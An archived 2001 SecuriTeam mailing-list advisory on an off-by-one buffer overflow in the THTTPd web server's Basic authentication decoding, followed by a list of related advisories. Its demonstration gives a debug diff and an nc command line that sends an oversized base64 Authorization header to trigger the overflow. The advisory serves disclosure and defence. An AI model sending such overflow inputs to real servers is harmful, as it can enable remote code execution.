[UNIX] Off-By-One Security Vulnerability in THTTPd

From: support@securiteam.com
Date: 11/25/01


From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] Off-By-One Security Vulnerability in THTTPd
Message-Id: <20011125225126.C2ED4138BF@mail.der-keiler.de>
Date: Sun, 25 Nov 2001 23:51:26 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Off-By-One Security Vulnerability in THTTPd
------------------------------------------------------------------------

SUMMARY

 <http://www.acme.com/software/thttpd/thttpd.html> THTTPd is a simple,
small, portable, fast, and secure HTTP server. A buffer overflow in the
product may enable remote users to run arbitrary code on the machine.

DETAILS

Demonstration:
1) Apply the following diff:

--- libhttpd.c Tue Nov 20 14:50:00 2001
+++ libhttpd-new.c Tue Nov 20 14:22:12 2001
@@ -886,6 +886,7 @@
     /* Decode it. */
     l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo)
);
     authinfo[l] = '\0';
+ printf("%02x\n", authinfo[499]);
     /* Split into user and password. */
     authpass = strchr( authinfo, ':' );
     if ( authpass == (char*) 0 )

This allows us to see what the final element in the array ends up to be.

2) Build, and then:

[terminal 1]

$ mkdir test
$ echo "joe:blow" > test/.htpasswd
$ ./thttpd -D -p 7777

[terminal 2]

(printf "GET /test/ HTTP/1.0\r\nAuthorization: Basic " ; printf `perl -e
'print "A"x550'` | openssl enc -base64 -e -in /dev/stdin ; printf
"\r\n\r\n") | nc 0 7777

[terminal 1]

We see '41'. This means an 'off-by-one' overflow is present.

ADDITIONAL INFORMATION

The information has been provided by <mailto:bugtraq@bugtraq.org>
bugtraq.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Daydream BBS Format String Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... product allows attackers to exploit a format string vulnerability in the ... This bulletin is sent to members of the SecuriTeam mailing list. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NEWS] L-Forum SQL Injection Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... arbitrary SQL commands by injecting them through user provided data. ... This bulletin is sent to members of the SecuriTeam mailing list. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NT] Buffer Overrun in Talentsofts Web+
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... system service, any arbitrary code executed on the server would run in the ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [UNIX] PHP Source Injection in osCommerce
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Would result in a directory listing of the current dierctory ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NT] Kunani FTP Server Vulnerable to a Directory Traversal Attack
    ... Beyond Security would like to welcome Tiscali World Online ... Kunani FTP Server is a free Windows based FTP Server, ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)